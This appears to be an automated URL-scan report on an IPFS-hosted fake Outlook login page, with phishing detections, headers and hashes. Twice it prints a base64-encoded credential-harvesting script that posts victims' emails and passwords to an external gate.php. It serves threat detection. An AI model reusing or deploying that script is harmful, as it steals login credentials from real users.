Report - cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW

Report Overview

Submitted URL
cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW
IP
104.17.64.14
ASN
#13335 CLOUDFLARENET
Submitted
2024-04-19 16:33:00
Access
public
Website Title
Outlook
Final URL
bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/
Tags
microsoft phishing
urlquery detections
Phishing - Microsoft

Detections

urlquery
3
Network Intrusion Detection
2
Threat Detection Systems
12

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
cf-ipfs.com	655312	2018-12-05	2018-12-20	2024-04-17	517 B	1.1 kB	104.17.96.13
bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com	unknown	2018-12-05	2023-10-26	2024-03-24	1.3 kB	32 kB	104.17.64.14

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Timestamp	Severity	Source IP	Destination IP	Alert
2024-04-19 16:32:34	low	Client IP	104.17.96.13	ET INFO Peer to Peer File Sharing Service Domain in TLS SNI (cf-ipfs .com)
2024-04-19 16:32:35	low	Client IP	104.17.64.14	ET INFO Peer to Peer File Sharing Service Domain in TLS SNI (cf-ipfs .com)

Threat Detection Systems

Public InfoSec YARA rules

No alerts detected

OpenPhish

Scan Date	Severity	Indicator	Alert
2024-04-19	medium	cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW	Outlook
2024-03-28	medium	bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/	Outlook
2024-03-28	medium	bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/	Outlook

PhishTank

Scan Date	Severity	Indicator	Alert
2023-10-26	medium	cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW	Other
2023-10-26	medium	bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/	Other
2023-10-26	medium	bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/assets/favicon.ico	Other

mnemonic secure dns

No alerts detected

Quad9 DNS

No alerts detected

ThreatFox

No alerts detected

JavaScript (2)

	URL	Size	First Seen	Last Seen
	data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTUvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7	2.4 kB	2023-10-24	2024-04-19
Pretty URL data:text/javascript;base64,KGZ1bmN0aW9uKCkgew0KICAgIHZhciBnYXRlID0gJ2h0dHBzOi8vd3d3LnN1bm55LnBldC9jb25maWRlbnRpYWwvMTUvZ2F0ZS5waHAnOw0KICAgIHZhciBmaXJzdF9wYXNzd29yZCA9ICcnOw0KDQoJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQl2YXIgaGFzaCA9IHdpbmRvdy5sb2NhdGlvbi5oYXNoOw0KCQl2YXIgX2VtYWlsID0gaGFzaC5zcGxpdCgnIycpWzFdOw0KCQlpZiAoLy4qQC4qXC4uKi8udGVzdChfZW1haWwpID09IHRydWUpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlID0gX2VtYWlsOw0KCQl9DQogICAgfSwxMDApOw0KICAgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleXByZXNzJywgZnVuY3Rpb24oZSl7DQogICAgICAgIGlmIChlLndoaWNoID09IDEzKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubG9naW4nKS5jbGljaygpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgaWYgKGUud2hpY2ggPT0gMTMpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmNsaWNrKCk7DQogICAgICAgIH0NCiAgICB9KTsNCg0KICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5sb2dpbicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQogICAgICAgIHZhciBlbWFpbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbCcpLnZhbHVlOw0KICAgICAgICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS52YWx1ZTsNCiAgICAgICAgaWYgKC8uKkAuKlwuLiovLnRlc3QoZW1haWwpICE9PSB0cnVlKSB7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoLy57Nix9Ly50ZXN0KHBhc3N3b3JkKSAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUgPSAnJzsNCiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5lcnJvcicpLmNsYXNzTmFtZSA9ICdlcnJvciBhY3RpdmUnOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGZpcnN0X3Bhc3N3b3JkID09ICcnKSB7DQogICAgICAgICAgICBmaXJzdF9wYXNzd29yZCA9IHBhc3N3b3JkOw0KDQogICAgICAgICAgICB2YXIgcmVxdWVzdCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KICAgICAgICAgICAgcmVxdWVzdC5vcGVuKCdQT1NUJywgZ2F0ZSwgdHJ1ZSk7DQogICAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gJ3RleHQnOw0KICAgICAgICAgICAgcmVxdWVzdC5zZW5kKCdlbWFpbD0nK2VtYWlsKycmcGFzczE9JytwYXNzd29yZCk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuZXJyb3InKS5jbGFzc05hbWUgPSAnZXJyb3IgYWN0aXZlJzsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciByZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHJlcXVlc3Qub3BlbignUE9TVCcsIGdhdGUsIHRydWUpOw0KICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTsNCiAgICAgICAgcmVxdWVzdC5yZXNwb25zZVR5cGUgPSAndGV4dCc7DQogICAgICAgIHJlcXVlc3Qub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAvLyBpZiAodGhpcy5yZWFkeVN0YXRlID09IDQgJiYgdGhpcy5zdGF0dXMgPT0gMjAwKSB7DQogICAgICAgICAgICBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gJ2h0dHBzOi8vYmxvb21iZXJnLmNvbS8nOw0KICAgICAgICAgICAgLy8gfQ0KICAgICAgICB9Ow0KICAgICAgICByZXF1ZXN0LnNlbmQoJ2VtYWlsPScrZW1haWwrJyZwYXNzMT0nK2ZpcnN0X3Bhc3N3b3JkKycmcGFzczI9JytwYXNzd29yZCk7DQogICAgfSk7DQoNCn0pKCk7 IP 0.0.0.0 ASN #0 Introduced by scriptElement Embedded in HTML false Observations First Seen2023-10-24 20:16:05 Last Seen2024-04-19 18:33:00 Times Seen25 Hash af869fcdea3053537cf7653d0fe8e21f dec50b56afa34a62489b03eae0041f052a84f519 0acadee80354a56ecab8274fc80c1b69def597ac74e6c394ab5110d545c29801 Loading...

	bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/	213 B	2023-03-08	2024-04-23
Pretty URL bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/ IP 104.17.64.14 ASN #13335 CLOUDFLARENET Introduced by scriptElement Embedded in HTML true Observations First Seen2023-03-08 04:09:06 Last Seen2024-04-23 18:32:19 Times Seen136 Hash 3dc38bbae5475ac658fcc63d01f9e7c7 a2d596048994e2412142eedb94aee6e57edb5252 06558f89b77a7f09570572cdd438270e98440954bfac147d53c793ff062e7f2c Loading...

HTTP Transactions (3)

URL IP Response Size

cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW

104.17.96.13

301 Moved Permanently

120 B

URL User Request GET HTTP/2
cf-ipfs.com/ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW
IP
104.17.96.13:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint52:AB:96:DB:E9:BE:89:E5:DD:52:F1:32:96:17:32:F0:A3:F2:E7:41
ValidityThu, 04 Apr 2024 23:41:09 GMT - Wed, 03 Jul 2024 23:41:08 GMT

File type
HTML document, ASCII text
Size
120 B (120 bytes)
Hash
af6fc7a45736befcc9c70a90525dc771
e9a5813ea665885271d65f2daa7ba05b08e39c1a
a561ce082b15e0377826a6d6cee6a17e0be6911aad6e7a803b536f0913c1b2e5

Detections

Analyzer	Verdict	Alert
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET /ipfs/Qmeyw6gghDTMKT4pimiWFbVNqX918Q44VyJ1ktyvqMMxjW HTTP/1.1
Host: cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 301 Moved Permanently
date: Fri, 19 Apr 2024 16:32:35 GMT
content-type: text/html; charset=utf-8
content-length: 120
location: https://bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/
cf-ray: 876e4a995d3f569d-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
set-cookie: __cf_bm=FBs_okEQ_LrWTdmP_PajfOjtDAn_QBO1RERvB.pnRGs-1713544355-1.0.1.1-GYclK3rMiT3rk0AvQNc5pXRGzxKmGLPMoySFcqqqAiqoV9l6VBHTN_T6QhUotlHgEaK.NtK97sWJUEPRutaDAQ; path=/; expires=Fri, 19-Apr-24 17:02:35 GMT; domain=.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/

104.17.64.14

200 OK

30 kB

URL User Request GET HTTP/2
bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/
IP
104.17.64.14:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
HTML document, ASCII text, with very long lines (38930), with CRLF line terminators
Size
30 kB (29508 bytes)
Hash
64cae61ba4059c04deab2424cd12ee4a
7df82ae33229815a78239891fabb26a9575978fd
72158b04731124220ecebc286216e11df39cc506b05f00eaa27203d22e71ff67

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET / HTTP/1.1
Host: bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Fri, 19 Apr 2024 16:32:35 GMT
content-type: text/html
cf-ray: 876e4a9d2e95b509-OSL
cf-cache-status: MISS
access-control-allow-origin: *
cache-control: public, max-age=29030400, immutable
etag: W/"bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u"
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-ipfs-path: /ipfs/bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u/
x-ipfs-roots: bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u
set-cookie: __cf_bm=hX1UjW_XQ.3g88CQO0TP6HRTIbEec5rLaqzOAYc61Wk-1713544355-1.0.1.1-45.U_Nq9c7DLntR_bLgzKdQPP08SiBdUCzEPVPGqYalmwWQ3N5MElrjPIzb0iXMZ62QSev1jHno3nNnHFzUHpg; path=/; expires=Fri, 19-Apr-24 17:02:35 GMT; domain=.bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com; HttpOnly; Secure; SameSite=None
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/assets/favicon.ico

104.17.64.14

404 Not Found

193 B

URL GET HTTP/2
bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/assets/favicon.ico
IP
104.17.64.14:443
ASN
#13335 CLOUDFLARENET

Requested by
https://bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/
Certificate
IssuerLet's Encrypt
Subjectcf-ipfs.com
Fingerprint46:AD:9B:E1:02:E3:A8:FE:9B:E2:86:B5:A1:5C:07:B9:B7:3B:17:14
ValiditySat, 16 Mar 2024 23:28:47 GMT - Fri, 14 Jun 2024 23:28:46 GMT

File type
ASCII text, with no line terminators
Size
193 B (193 bytes)
Hash
af126edc1798446139ccbf609a8c94ee
2a3ca50047b7b35bda745ff1cccd6bb986020523
e3fad16e721f6b2175abd42a8e2e7bcf943818fec3e3a51dd72a6f0b3c48613b

Detections

Analyzer	Verdict	Alert
urlquery	phishing	Phishing - Microsoft
OpenPhish	phishing	Outlook
PhishTank	phishing	Other

HTTP Headers

GET /assets/favicon.ico HTTP/1.1
Host: bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u.ipfs.cf-ipfs.com/
Cookie: __cf_bm=hX1UjW_XQ.3g88CQO0TP6HRTIbEec5rLaqzOAYc61Wk-1713544355-1.0.1.1-45.U_Nq9c7DLntR_bLgzKdQPP08SiBdUCzEPVPGqYalmwWQ3N5MElrjPIzb0iXMZ62QSev1jHno3nNnHFzUHpg
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 404 Not Found
date: Fri, 19 Apr 2024 16:32:36 GMT
content-type: text/plain; charset=utf-8
cf-ray: 876e4aa19abbb509-OSL
cf-cache-status: EXPIRED
access-control-allow-origin: *
cache-control: no-store
vary: Accept-Encoding
access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With
access-control-allow-methods: GET
access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output
x-cf-ipfs-cache-status: miss
x-content-type-options: nosniff
x-ipfs-path: /ipfs/bafybeihxjabr4hp42dagn3hgpsvdoqrqym2ya2i2xff53hyhctadpmnk7u/assets/favicon.ico
server: cloudflare
content-encoding: br
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

Report Overview

Submitted URL

IP

ASN

Submitted

Access

Website Title

Final URL

Tags

urlquery detections

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

OpenPhish

PhishTank

mnemonic secure dns

Quad9 DNS

ThreatFox

JavaScript (2)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

HTTP Transactions (3)

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL User Request GET HTTP/2

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL GET HTTP/2

IP

ASN

Requested by

Certificate

File type

Size

Hash

Detections

HTTP Headers